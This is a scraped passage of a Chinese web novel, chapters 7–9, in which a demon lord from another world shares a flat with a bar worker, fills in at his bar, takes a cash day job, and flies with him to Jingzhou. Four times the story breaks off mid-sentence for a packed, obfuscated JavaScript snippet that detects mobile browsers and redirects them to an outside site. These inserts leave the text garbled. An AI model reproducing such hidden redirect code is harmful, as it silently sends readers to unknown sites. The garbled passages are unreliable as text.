他又找了一套衣服给伏爻换上，他二人身量相仿，穿起来却是不同的感觉。苏明峻看着伏爻头上那根墨绿色的塑料发簪，说，“眼睛颜色不用变了，有人问起就说你戴了美瞳。” 伏爻点点头，又指着床头柜上，“你把药吃了。” 苏明峻自己都快忘了还有这件事。 他看看伏爻，又顺着伏爻的手指方向看向床头柜上的药片，心想自己有一天也被这个来自异世界什么都不懂的白痴魔头管着了，又觉得好笑，乖乖去拿了药吃掉。 魔尊大人这才满意。 两个人出门，自己又病着，苏明峻奢侈了一把，叫了出租车去穆色。 穆远今天不在，苏明峻就带着伏爻去找了店长柏思凡。 柏思凡见了伏爻眼睛一亮，一只手拍向苏明峻的肩膀：“行啊明子，那句话怎么说来着，帅哥身边都是帅哥。你这朋友是兼职还是长期？” 苏明峻说，“不急着定，他是头一次来酒吧，你先看看他能不能用再说。” 他在车上给伏爻是培训了一下，但是越培训心里越没底。 他怕伏爻面对自己的时候尚能忍耐，面对那些没轻没重胡搅蛮缠的客户，万一像昨天对辛江那样一块石头砸过去，他可赔不起。 面对柏思凡扮演的客户，伏爻的确僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740333|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬了不少——非常僵硬。 苏明峻感觉自己脚趾抠地，快替他尴尬到天际去了。 柏思凡看了看伏爻，又看看苏明峻。 苏明峻无奈，“店长，你怎么想的就怎么说。要是不行就让他找个地方等我下班，我现在和他是舍友，到时候一起回去。” “你的工作他是做不了，但是我们今天正准备推一款新年特调，名字叫‘墨色冰山’，本来我准备亲自来主推这款，现在看感觉他上更好，不用笑，也可以不说话，坐在那就挺适配了。”柏思凡听了他的话反而笑了：“你别看他不会说话不会笑，但现在有的人就吃这种冷冰冰的风格，咱们还羡慕不来。” 苏明峻也知道穆色的这款新酒，不管是视觉还是味觉上都是冷冰冰的感觉，在灼热的酒吧里是另一种感觉，交给伏爻......准确的说是交给伏爻这张脸和臭脾气，倒也可行。 柏思凡继续道，“就是这个工资......” 伏爻开口打断，“我不要工资。” 柏思凡意外。 伏爻说，“他不舒服，我替他上一天班，我不要工资。” 柏思凡这才看向苏明峻：“生病了？” “小病。”苏明峻摆摆手，“吃了感冒药，今天喝不了酒。” 伏爻又说，“我替他喝。” “这......”柏思凡的视线在他二人身上交替着看了一会，才点头，“也行，那就还按照明子你的提成来，但是你得在场，还得把客户哄好了，不能有投诉，不然我没法给穆哥交差。” 苏明峻自然同意，于是带着伏爻去更衣室。 他来了之后穆色的生意好了不少，穆远看重他，更衣室都单独给他辟出来一个小房间，至少免去了被其他同事们打探的目光和话语。 柏思凡叫人给伏爻额外送了一套衣服来，黑色洒金的衬衣和白色的西裤，还有一对按照绿宝石镶嵌样子做工的耳钉。 伏爻盯着这对耳钉，面色不虞。 在魔族，只有那些首领们的魔宠才会戴这种东西。 但是他没说话，他不想给苏明峻添麻烦。 苏明峻问他有没有耳洞，得到否定的答案后又出去借胶带，将耳钉处理好后叫他坐在椅子上，弯腰给他贴耳钉。 椅子前面有一面半身镜，伏爻透过镜子，看见苏明峻弯腰时领口空空荡荡的，露出里面不少，他回头要让苏明峻把领子扣上，却被青年一把摁住后脑，“别乱动，小心扎到你。” 伏爻还是第一次被人制住脖子和后脑，他的肌肉下意识绷紧，下一秒就要把人从后面摔出去，忽然想起他是苏明峻，又强迫自己放松下来。这一放松，便察觉到苏明峻因发烧还有些潮热的呼吸在自己而后轻轻地流动，一下下打在他的皮肤上...... 怪不自在的。 伏爻又扭了扭脖子。 下一秒便在潮热的感官中多了一丁点凉意。 是苏明峻的指尖捏着那只耳钉贴到了他的耳垂上。 先是左边，再是右边。 他贴的很快，之后便退开两步，满意地看向化妆镜中的魔尊大人，“行了，只要你不做大动作，不会掉的。” 7.第 7 章 今天来了不少回头客，知道苏明峻今夜不能喝酒，也不与他为难，毕竟来酒吧都是寻乐的，没必要徒生不快。晚些时候辛江又来了，他似没看懂昨夜里苏明峻的婉拒，依旧以学长的身份坐在他身边不知什么时候留出来的一个空位上，要买酒请他喝。 苏明峻于是又同他解释了一遍自己今天不能喝酒。 辛江眯起眼睛瞧他，苏明峻坦然地任他瞧着，又听辛江半真半假地玩笑道：“那我可去别人那里冲业绩了？” 苏明峻自然不拦他，堆起一副看似热络客气的笑容，“这是应该的，来穆色玩一趟，尽兴是第一位的。” 辛江悻悻，却不敢在穆色闹事，于是果真走了，转到主台“墨色冰山”——伏爻正坐在那儿。 柏思凡想出来个损招，他就想用伏爻那张脸，又怕伏爻一开口反而赶客，索性叫伏爻装扮好了做个冰山花瓶坐在一旁，说只要哪个客人能无接触地让面无表情的伏爻笑或者说话，就请他们喝一杯“墨色冰山”。 把魔尊大人当成游戏道具，亏柏思凡想得出来。 伏爻原本生得冷厉，被衬衣西裤耳钉项链套了一身，不可近人的感觉淡了些，加上即使不成功也能换来一杯付费喝到的新款酒，伏爻跟前挤满了围观的男男女女。 哄人笑或说话无非就那些手段，“墨色冰山”卖空了一轮，伏爻还是那张睥睨众生的脸。 这时辛江轮到了前面，苏明峻原见他出去了一趟不知道做什么，眼下终于知道了，见他二话不说往伏爻与柏思凡面前的高桌上一打一打地拍人民币。 伏爻还没什么动静，柏思凡面上已经有点不好看了。 穆色做这种小活动主打一个轻松快乐，真有人拿钱来闹，倒架得主办方下不来台。 但伏爻又不是正儿八经穆色的员工，他和苏明峻原就是为了挣钱才来，有客人愿意大手笔地给小费，哪有不要的理。 柏思凡又希望伏爻能经得起这一摞摞钱币的诱惑，一面又觉得趁着辛江钱还没垒高，叫伏爻笑笑应付过这茬算了。 伏爻看着辛江，他认出来了。 那个嘴上说着要苏明峻拿伞下车，身体却赖在车里不动的人，害得苏明峻回家就发了烧。 伏爻看着他自鸣得意地还在一摞摞添钱，很想叫他滚。 那个“滚”字都滚到了舌尖，一瞥见苏明峻站在人群之外看着他，冲他摇摇头。 苏明峻怎么知道自己要做什么？ 伏爻撇撇嘴，又把这个“滚”字吞了回去。 仍摆着那张面无表情的臭脸。 辛江的包里能装的钱有限，包被掏空了，也没换得伏爻一点动静。 旁边客人渐有嘘声，柏思凡忙出来打圆场，辛江要摆阔，或是叫苏明峻看看不知好歹的下场，他有意向后看了眼苏明峻，并不把钱收起来，而是道：“一口唾沫一口钉，我辛江说了这些钱买美人一笑，买不来也没有收回的道理。” 隔着老远的距离，苏明峻都感觉到伏爻又要打人了。 苏明峻忍不住乐，柏思凡毕竟是店长，比起他来还是更敬业，硬是忍着乐子“护送”走了辛江，又差人把钱收了找机会给塞回去，这活动才能继续下去。 故事的“主角”走了，场子也没散，反为他闹的这出更热闹几分。 不过辛江毕竟样貌年轻漂亮，又由此一事显出他的出手阔绰。原先他只顾与苏明峻有来有往，旁的都不理也就算了，今日见他既愿意向别处示好，又离了伏爻那处的热闹圈子，自然有别的人贴上，人气却是不增反减。 辛江颇为得意，只是见苏明峻并不注意他，反倒和其他客人逗趣说笑，又冷了几分脸色，最终还是挑了个年轻男孩请他喝了不少酒。 苏明峻原本还有精力关照一下“大客户”，奈何今晚上有个伏爻在场，他自己又是刚刚退烧精力不济，实在没心思再同辛江好声好气地应酬，好不容易捱到打烊，苏明峻松了口气，拉着伏爻回更衣室换衣服回家。 有伏爻陪着，到底安心些，苏明峻上了车倒头就睡，往常脑袋砸在玻璃窗户上硬就醒了，有个软东西在身边，苏明峻见他不困，便抓着伏爻坐着近些，靠着魔尊大人的肩膀来睡。 伏爻一声不吭。 等苏明峻因为停车了重新醒过来，二人又一起从小巷里往家走，伏爻突然问他，“你每天就是做这些事？” “差不多。” “你很缺钱吗？” 苏明峻笑了，“怎么又问这种话？” 伏爻见他并不回答，有点烦躁地踢开脚尖的石子，追问道，“你说要挣到一年的房租和生活费，现在还差多少？” 苏明峻没仔细算过，即便仔细算过，他也没法同伏爻说明白——除了房租和生活费，总得时不时改善一下伙食，日常还得有点消遣，这些款项魔尊大人未必能了解。 但伏爻执意要个答案，苏明峻只好说，“不是差多少的问题，这种工作与普通工作不同，中间间断一天，隔天客人就不认了。” 苏明峻还预备了伏爻要问为什么他该怎么解释，但是伏爻没问。 伏爻的沉默使苏明峻意识到，伏爻终于明白自己为什么说他“不行”。 “不行”的判断并非来自于能力，而是环境。 苏明峻缺钱，所以能够接受用脸和低姿态换钱，这对他来说不过是一种工作。但是魔尊伏爻没有缺过钱，不仅如此，他做了几千年高高在上的尊主，从来只有别人讨好他，没有他低声下气地同谁说过话。 他放弃了再与自己同去是最好，毕竟穆色虽然还算正规，但毕竟酒吧客人形形色色，再被酒精灌满了脑袋，难免生出些“万一”事端。 苏明峻并不点破，与伏爻在一片安静中着回了家。他刚退了烧，补觉时候卧室与客厅的门便打开着，方便睡在客厅沙发床上的伏爻时刻能听见他的动静。 病后状态加上整夜加班，苏明峻这一觉睡得很沉，闹铃响了后才发现伏爻已经不在家里，他幽幽一声感叹，看来魔族的体质就是比普通人好，就算来到现代世界要吃早睡，食量和睡眠量都比少于普通人——真适合打工。 苏明峻感觉状态大好，已经有点饿了，边刷牙边摸出手机点外卖，又想问伏爻想吃什么，发觉还是得给魔尊大人配个手机，不然等伏爻的活动半径变大，联络也太不方便了。 正想着，门口有了动静，苏明峻回头一看，伏爻怀里正揣着一口锅走进来。 苏明峻目瞪口呆：“你从哪捡了口锅？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750596|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 伏爻把锅往桌上一放，闷声道，“王姨给的。” 苏明峻狐疑地凑过去想掀锅盖，先被锅盖的温度灼了一下，“嘶……怎么还是烫的？” 伏爻不怕烫，一把掀开，露出里面的青菜肉粥，“我和王姨说你发烧了，问她怎么煮粥，她问家里有没有什么菜和米，我看着都没有，她就说在她家煮了要我给你端回来，吃完再把锅还过去。” “等会……”伏爻一段话里信息量太大，苏明峻盯着这锅粥咽了咽口水，还是决定先把伏爻的事情搞明白，“你问王姨怎么煮粥？” “你们店长和我说的，”伏爻点点头，“他要我看着你这两天少吃外卖，喝点粥。但是我没在你们楼下看到有卖粥的。” 柏思凡那张嘴，做人情是够顺嘴的。 苏明峻去厨房拿碗，太久没用还要先放到水龙头下洗一道，他问，“那你怎么想到去问王姨？” “我不会，去图书馆又来不及。”伏爻走到厨房门口，出租屋的厨房太小，装不下两个成年男人的体型，伏爻就停在门口看他洗碗，一板一眼地答道，“正好王姨家开着窗在做饭，我就问了。” 苏明峻把粥盛出来，又把锅洗干净，叮嘱伏爻，“先去把锅还了。” 这回伏爻回来得很快，看他还在刷手机，问，“你怎么不吃？不好吃？” 苏明峻没说自己在等他，自己喝了一口，示意他也喝点，才问，“你做的？” 伏爻面上这回终于有点窘迫，“王姨说我笨，她做的。” 这才正常。 苏明峻想，要是魔尊大人干一行行一行，那也太打击人了。 他的病好了，仍然要去穆色。 伏爻今日没再说要去，苏明峻暗自松了口气，又见伏爻仍要与他一同出门，问道：“去图书馆？” 伏爻点了点头。 苏明峻说，“我先还要去别的地方，没法和你同路。” 伏爻问，“你去干嘛？” 苏明峻挑眉，“我还不能有点自己的事做了？” 他顶得理直气壮，伏爻撇撇嘴，自己挤开他先出了门。 苏明峻要去给他买手机，还得去营业厅在自己手机卡上再绑定个号码。 买手机倒是方便，出了商场找营业厅，才发现营业厅节假日不开门。 他手里倒是还有一张卡，是当年给留在老家的爷爷用的亲情卡，爷爷去世之后他没舍得销户始终留着。 说实话，现在也挺舍不得给伏爻用的。 苏明峻决定先不去想它，总之手机都买好了，先教会伏爻上网再说。 于是安心工作一夜，回家伏爻还是没睡，看上去还有点心神不定，苏明峻是困了，随口问道：“看书没累？还不睡觉？” “今天看的不多，不困就等你。”伏爻顿了顿，却见苏明峻发了个天大的哈欠，于是又什么都没说。 苏明峻没理他，飞快地洗了个战斗澡，正要把新手机给伏爻，自己拿出手机倒突然看到条忽略许久的公众号推送，他帮伏爻注册的图书馆账号——图书馆昨天闭馆。 苏明峻陡然清醒了，踩着拖鞋走到正睁着眼睛看天花板的魔尊大人跟前，“你下午没去图书馆，去哪了？” 8.第 8 章 伏爻不愿意说。 没有支支吾吾或是顾左右而言他，他就是，不说。 苏明峻都要被他这非暴力不合作的态度气笑了。 伏爻要钱没钱要手机没手机，又是人生地不熟，他不过是担心才多问两句，真是好心喂狗吃了。 不说也就算了，苏明峻想，要真做了什么见不得人的事，等警察来了就让他们把伏爻带走。 于是原本给他买好的手机也没给出去，后几日索性不理他，除了照点两份饭之外只当家里没有这个人——这个魔。 伏爻仍整日往外跑，不知道是不是还去图书馆，苏明峻不问，伏爻夜里回来也没再等他，在那张沙发床上睡得还算踏实，只要苏明峻动作轻点便不会吵醒他。两个人会有一点交叉的清醒时间，有时候伏爻看起来想解释两句，但是嘴巴张开又闭上，闭上又张开，还是一句话没说。 这算是一点点态度的软化，于是路过又开张了的营业厅，苏明峻还是没迈动脚，进去把新的手机卡办好了。 营业厅开了许多年，里面的电脑也上了年头，正百无聊赖地等着，孔建的电话打过来，问他过年什么时候回荣安。 往年有爷爷奶奶在，他肯定是要回的。 但如今亲人已经不在，老宅也荒芜一片，回去做什么呢。 孔建似乎知道他在想什么，说前些日子从云昌回去他老婆就查出来怀孕了，为此他们特地置换了一个大三室的二手房，叫他要回来住几天，就当给自己的新房子暖居。 话都说到这里了，苏明峻自然得答应，他原是说年后再去住一天意思一下，孔建不肯，叫他大年二十九就得到家里来，拉扯着电话被孔建老婆接了过去，庞雅容比孔建还大三岁，一口一个小苏的叫着，让他一定到家里来吃年夜饭，又说他要是不来，她就要孔建亲自开车去云昌接人。 话里话外都是诚意十足，苏明峻知道他二人对自己关切，只得应了，心里谋划着多买些什么礼物提着上门，一头又想起伏爻。 带伏爻去孔建家里总不是个事，苏明峻不得不与伏爻“破冰”，把装好手机卡的手机递给伏爻，教了他怎么用——主要是给他看余额里放了多少钱，说不够了再给自己发信息，又提醒他过年这两天很多店铺不开门，家里囤了速食，让他记得自己填饱肚子。 说着更觉自己像放不下家里傻儿子的离家老父亲，苏明峻觉得好笑，却看伏爻抿着嘴唇不语，攥着手机的一只手隐隐暴起青筋，暴露着他的情绪。 苏明峻交代完毕，提着大包小包准备赶高铁去了，临走前伏爻终于问，什么时候回来？ “就两三天。” 伏爻点点头。 苏明峻边往大路走边叫车，走到拐角时鬼使神差地向后看了一眼，小出租房的窗户正在北风呼啸的大冬天全敞开着，探出一颗黑色的脑袋。 两三天，苏明峻想，伏爻应该作不了什么妖。 结果两三天后，他还待在荣安。 孔建和庞雅容的父母都到荣安过年，孔建的二老和苏明峻原本是住邻村，知道苏明峻爷爷奶奶在荣安的老宅空置，说起他们村子做什么新农村改造的事，让苏明峻去和村委会说一声，看把老宅是转给集体还是怎么样。孔建热心，硬是把苏明峻留到年初三，亲自开车搭他回村里。 从村里回来又有高中同学在群里张罗着同学聚会，苏明峻原不想去，没想到和孔建出门的时候被同学给看见了，当晚车就开到孔建的小区门口，叫他必须得去。 来接他的人是他们分完科以后理科班的班长兼宿舍长贺博延，贺博延家里条件好，大学毕业后还在京州接着读研，当初对苏明峻不少照顾，他听说贺博延的车都停在了楼下，没好意思再找借口，稍作拾掇就飞奔下楼。 贺博延见他第一面就结结实实给他来了一拳，说他不够意思，回了荣安也不和他说一声，要不是被人看到了他在荣安，真叫他混过去了。 苏明峻又笑，又叹气，揉着胸口说你一个读书人怎么变得这么有江湖习气，贺博延嘿嘿直乐，说我是为了炫耀我这段时间健身的成果，上车脱了外套一撸袖子，苏明峻非常捧场地“哇”出了声，于是贺博延更加开心，说自己今天还负责把他送回去，不容苏明峻拒绝。 好在荣安一中是省重点，大家基本上都在继续读书，就算是工作了也都还没沾染太多旁的东西，以碳酸汽水代酒，彼此之间要么是苦逼的学生和打工仔大吐苦水，要么是小情侣们大秀恩爱。 苏明峻两不相沾，但是听他们吐槽也还挺有意思，正乐呵呵地看热闹，伏爻的视频电话来了。 苏明峻走到包厢外面去接。 “苏明峻，第四天了。”伏爻说，“多了整整一天。” 于是接着电话才想起来自己忘记和伏爻再说一声，下意识道了句歉，伏爻那边顿了顿，声音才小了些：“我不是这个意思。” “临时有事要多住一天，忘记说了。”苏明峻说，“我明天就回，最晚后天。” 伏爻“哦”了一声，没再说话。 苏明峻觉得他是忘了该怎么挂电话，于是问他还有没有事，见人摇头，他才挂断电话。 再进门就迎来揶揄的笑意，“峻哥还说自己没有女朋友，刚才女朋友的电话就来查岗了吧！” 又有人说，“我原本还说要把我在云昌读书的的一个堂妹介绍你认识一下，你这个人——回来了也瞒着我们，谈了女朋友也瞒着我们！真不把我们当兄弟。” 这都上升到人品和兄弟情谊的问题了，苏明峻前一件事理亏在先，只好老实解释后一件事，说是自己合租的舍友，男生。 “合租舍友还专门打视频问你什么时候回去？”有人不信，“我上厕所路过你，都瞅见屏幕里那长头发了。” 苏明峻没法说伏爻估计是不会也懒得去学打字的方法，只能在手机里翻了翻，找出他和伏爻一起去穆色上班那天穆色发的宣传视频，在他俩入场之前柏思凡给他们照了一张，看上去还像个正经人。 有了照片，他们总算信了苏明峻刚才是和舍友打视频。只是由照片和视频又生出新的事端，他的这些埋头读书或者苦于工作的同学们都不算泡吧的主力军，对他纷纷好奇起来，要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760379|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是贺博延及时出声岔开话题救他，苏明峻简直一个头两个大。 总算这场结束，贺博延送他回家，路上终于问起他怎么又去酒吧兼职了，是不是缺钱？ 贺博延是少数知道他大学去穆色做兼职的高中同学，还是某次贺博延来云昌找他玩才发现的，他也劝过苏明峻这种昼夜颠倒的工作太伤身体，又怕他真凭着一张脸去做丢了底线赚快钱的活，后来苏明峻辞了这份兼职，还特地同贺博延也说了一声。 苏明峻只说自己发生了点事之前的工作被裁了，在这里过渡一下。 “你那个舍友是酒吧认识的？” “不是，”苏明峻扯了个谎，“大学认识的，前阵子也丢了工作，两个人合租省点钱。” 贺博延信了，又劝他们一起去京州。云昌虽然也算是个大城市，但比起京州来还是逊色不少，机会也少一些，贺博延说自己哪个大学同学长得还不如他们好，出去做平面模特都赚得无心读书，要是他俩去了，至少能不输他那个同学。 苏明峻感激贺博延的好意，等到了孔建家里与孔建一说，孔建听了也同意，原先苏明峻的爷爷奶奶还在世他不能远行，但老人已经故去，他要出去闯一闯也正是机会。 苏明峻听着，忽然想起伏爻。 这个没有身份证的黑户，他要是带着伏爻去京州，怕是得一路大巴辗转过去才行。 他只和孔建说自己再想想，第二天再三拒绝了孔建的留人，回了云昌。 回到家里已经是晚上八点，伏爻在家，在......数钱？ 苏明峻关上门，看着慌乱中故作镇定的伏爻，“哪来这么多现金？” 原先伏爻没有手机的时候苏明峻换过一点小额纸钞给他用，但是家里从来没有过百元的纸钞，看上去还不少。 问完又想起前些天问伏爻去哪他不愿说，想来搞不好就和这笔钱有关。既然当时不愿说，现在定然也不愿说。 苏明峻有点累，摆摆手，“算了，当我没问。” 他从行李里掏出一盒酥心糖，荣昌特产，放在桌上，“你可以尝尝。” 说完就回了卧室。 又想起贺博延和孔建的话。 他和伏爻这么装作相安无事下去能避免一时的烦躁却没法解决后面的事，苏明峻只好又从被窝里爬起来，把门打开，却发现自己要找的魔尊大人没有睡在沙发床上，而是正站在自己门口，看起来在犹豫要不要撬门——哦不，敲门。 苏明峻疑惑，“你干什么？” “这是两千块。”伏爻把手上刚从在数的钱递给他，“给你。” 苏明峻被他吓了一跳，下意识向后退了一步，没接他的钱，又问了一句：“你干什么？” “穆色。”伏爻顿了顿，“你不想去的时候，可以少去一天。” 苏明峻怔住了。 魔尊大人这些天住他的房子吃他的饭菜看起来理所当然天经地义，好像从没觉得要付钱。今天竟会为了他可以少去穆色上一次班，要往他手中塞钱。 苏明峻还是没接，只是问，“你哪里来的钱？” 9.第 9 章 这回伏爻没有隐瞒，但说的十分含糊，就说自己那天图书馆没有开门，自己无处可去又不想回家，路上就有个人走过来问他做不做工。 不需要身份证，不需要学历，工资还是现金日结。 即便伏爻有意说得含糊，苏明峻还是明白了，他当年极度缺钱时也做过这种活，这种日结的活计无外乎那几种，每种都是要费苦工。 但是他是求人介绍去的，如果要那些招工的主动去找，怎么想也不会找上伏爻这样的人做这种活吧。 苏明峻狐疑地看了一眼伏爻，那头黑色的长发仍旧用自己买的塑料发簪挽着，他给伏爻去穿的衣服也都是自己做办公室时候穿的，那些人再没人可找应该也不会找上伏爻。 伏爻摸了摸鼻子，说他之前去图书馆太多人偷偷看他，有的人还来烦他，所以除去与苏明峻去穆色那次，他再去市里都化了形。 说着身形一变，果真变成了一个年轻憨实的务工汉子。 在苏明峻震惊的目光里，伏爻又把自己变回原形，仍旧固执地要把钱塞给他，“这回你放心了吧，我没做你们这那些犯法的事。” 苏明峻接过那些钱，伏爻才把手插回兜里，做出一副潇洒的样子靠着墙，又问他，“那你明天还去穆色吗？” “不去了，”苏明峻摇摇头，“你......你想不想换个地方住？” “换？”伏爻一顿，旋即追问，“是我换，还是我们一起换？” “一起。”苏明峻看他，“这里的房租快到期了，我觉得这里住得还是不太方便。” “我都行，随你。”伏爻似乎松了口气，懒懒地往身后沙发床上一倒，“反正我在这也没有别的认识的人，你去哪我去哪。” “......去京州呢？” “京州？”伏爻脑子转了一下，“去那么远？” “嗯。去那里的话，工作机会会更多，你想自己挣钱的话也可以做些轻松点的活。”苏明峻说，“只是去京州的话要坐飞机或者高铁，你没有身份证和户口本，我们可能要倒几趟大巴——” “你决定了？” “没有，所以在问你的想法，”苏明峻如实道，“我心里也没底。” “你想去吗？” “......不知道。”苏明峻说，“我也没有去过京州。” 而且他还有点舍不得云昌。 他是一个没有那么大远大志向的人，他原来唯一的目标就是治好奶奶的病，挣钱把爷爷也一起接到云昌来住。后来爷爷奶奶过世，他人生的目标游离，没有什么活着的欲望，更没什么要挣钱要出人头地的愿望。 要不是从天而降一个伏爻...... 云昌是一个有点安逸的城市，适合现在的他。 “那我们去京州看一看玩一玩再说？”伏爻却有些兴致勃勃，“你不在家这几天我上了好久网，我看网上好多人都说在去哪里哪里旅游，要不我们也去趟京州旅游一趟，就当顺便考察考察？” “没那么多天假，”苏明峻有点心动，但无奈地摇摇头，“我们要大巴去京州的话路上都得耽搁好几天，我的假就剩三天了。” “如果坐飞机去要多久？” “两个个小时。”苏明峻叹了口气，“别想了，机场的安检超级严格——伏爻？！” 他眼睁睁地，看着伏爻化成了一片灰雾。 随着衣服落到地上，那人型灰雾骤然缩小，苏明峻只觉得手腕一凉，那片雾裹在了他的手腕上。 “伏爻，你......” 下一秒，灰雾弥散开，一个男子又从雾里现身，颇为得意地望着他笑。 苏明峻松了口气，又撇开眼去：“你先把衣服给我穿上。” 伏爻耍酷行为中道崩殂，一张脸瞬间涨红，颇为狼狈地捡起底下散落的衣服套上。 乱七八糟地一层层衣服套到一半，伏爻忽然动作一顿，看向苏明峻：“我们都是男的，你还害羞啊？” “......”苏明峻头疼：“都是男的也不代表能随便裸露下半身！” “你们这没用的规矩也太多了，在我们九墟渊境，穿衣服都是为了衣服的防御功能，如果是在自己放心的地方，常常都不穿衣服来着。”伏爻说，“要是你去我们那住几天，头都要扭断。” 苏明峻额头一跳，“那要你在这里穿衣服还真是为难你了哈。” 伏爻憋不住笑，乐得发髻都散了，苏明峻才知道是这魔头故意说来诓自己的。 他恶向胆边生，跪在沙发床的边沿伸手虚虚扣住伏爻的脖子，“今天我苏明峻就要代表月亮降妖除魔！” 伏爻配合着他的动作歪头闭眼伸舌头，苏明峻才算解了气，忽而看到他的肩膀上有几道青紫交加还微微发肿的痕迹，不由一顿，“你到底去做了什么活？不会是去工地搬砖了吧。” “没啊，”伏爻随着他的视线看到自己肩膀，不自然地把落下去的衣领抓回来系好，“就是去一个什么物流基地，把一堆盒子放到车上，这是有个架子倒了我去扶，不小心碰到的。” 说着又有些憋闷地转了一下抓在手心的发簪，“这个地方把我的灵力压制得太过，身体也弱了好几个层次，要是在我们九墟渊境，它连我一根毫毛都伤不到。” “......疼吗？” “那肯定不疼——嘶！”伏爻眉头紧皱，“苏明峻！” 苏明峻收回刚从往他肩上锤了一拳的手，“你不是不疼嘛？” 就凭他苏明峻那点跟伏爻比起来不足十分之一的力气，要是正常情况下伏爻压根不会当回事。 苏明峻爬起来，翻箱倒柜地找出自己不知道存放了多少年的红花油，“衣服脱了坐过来。” 伏爻皱了皱鼻子，“这什么味道？” “药。”苏明峻把他扯到身边坐正，将红花油在手心化开，用了点力揉进伏爻的肩颈红肿处，感觉到身下魔头的肌肉紧绷，无语道：“你怕疼啊？” 伏爻头也不抬，语气死犟：“谁怕疼了。” “不怕疼你的肌肉绷这么紧，放松。” 伏爻龇牙咧嘴地努力放松——怕疼也有一点，毕竟他都多少年没有受过这种伤了，他从来就是高高在上无人敢伤他，再之前就算受伤也都是灵海破碎或灵域动荡的那种剧痛，哪里经历过这种皮肉之伤。 不重，但难忍耐。 何况还有苏明峻温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774040|189332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的手心在他皮肤上揉按。 即使混着那股难闻的药味，也让他难以忽视。 还有上次在穆色的更衣室里替自己戴耳钉也是，这个人怎么总是不打招呼就对自己动手动脚，伏爻心不在焉地琢磨，他到底知不知道在九墟渊境里敢试着这么对自己的小魔都死的很惨。 不过他当然不会把苏明峻弄死。 他...... 他说不出，也不知道自己究竟是想让苏明峻松开手离他远点，还是手再放在自己身上久一点，离他再近点。 苏明峻也闻不惯这股红花油的味道，揉到手下的皮肉发热，便去卫生间把手打了好几遍肥皂洗干净，感觉到手上还有遗留的味道，无奈叹了口气。 再回到小客厅，发现魔尊大人仍然目光呆呆地正袒胸露乳，便把手上没干的水珠向他面上弹撒过去，边道：“衣服可以穿上了。” 伏爻面露嫌弃，“等干了吧，不然衣服上都是味道。” 苏明峻没勉强他，终于想起正题，问道：“刚从那层雾也是你的‘化形’？” “可以这么理解，不过准确来说是遁形。”伏爻抓着簪子重新挽好头发，“可惜你们这里灵力稀薄，这些天积攒的灵力只够保持遁形状态几个小时，但你说飞机只需要两个小时的话，我维持这个状态往返京州是足够的。” “真的？！”苏明峻眼睛一亮，抓起手机，“那我看机票!” 伏爻也凑到他身边看，一看屏幕里的一列数字，傻眼了，“这么贵？” 他给苏明峻的两千块钱居然居然只在路费就会被花光了。 到时候去了京州肯定还要吃要住.....最后还得花苏明峻的钱。 幸好自己没有先说要请苏明峻去玩。 伏爻难得有点丧气，但是苏明峻“嗐”了一声，不太在意，反而对咋舌称贵的伏爻感到好笑，“让魔尊大人感受一下我们高科技的价格，多少钱也不亏。而且过年嘛，机票都是要翻倍的。” 伏爻被他很快哄好了，二人在那方小小的屏幕上划来划去翻来翻去，“最便宜的——只有三个半小时后红眼航班居然还有一张特价票。” 伏爻拍他：“现在去机场能赶得上吗？” “现在吗？” “现在！” 苏明峻瞪大眼睛，看看机票看看伏爻，忽然咧嘴一笑，手上麻利地点了付款，一跃而起：“走！” 这才是兵荒马乱。 苏明峻的行李箱塞了两套伏爻的衣服又重新合上，二人换好衣服叫好车，拖着行李箱飞奔下楼冲出巷子口，计程车在夜色浓厚的云昌街道一路狂飙—— 直到计程车窗外的街景变换成飞机舷窗外的俯瞰夜景，苏明峻才摸了摸自己疯狂跳动的心脏。 太疯了。 这辈子没做过这么疯的事。 苏明峻感觉到那团微凉的薄雾也从手腕游动到他的胸口，好像和他一样听了听他狂跳的心脏，待了一会，才又慢慢攀上他的肩颈，像只小狗似的找到一个舒服的位置，懒洋洋地摊开，凉凉的贴在他的皮肤上。 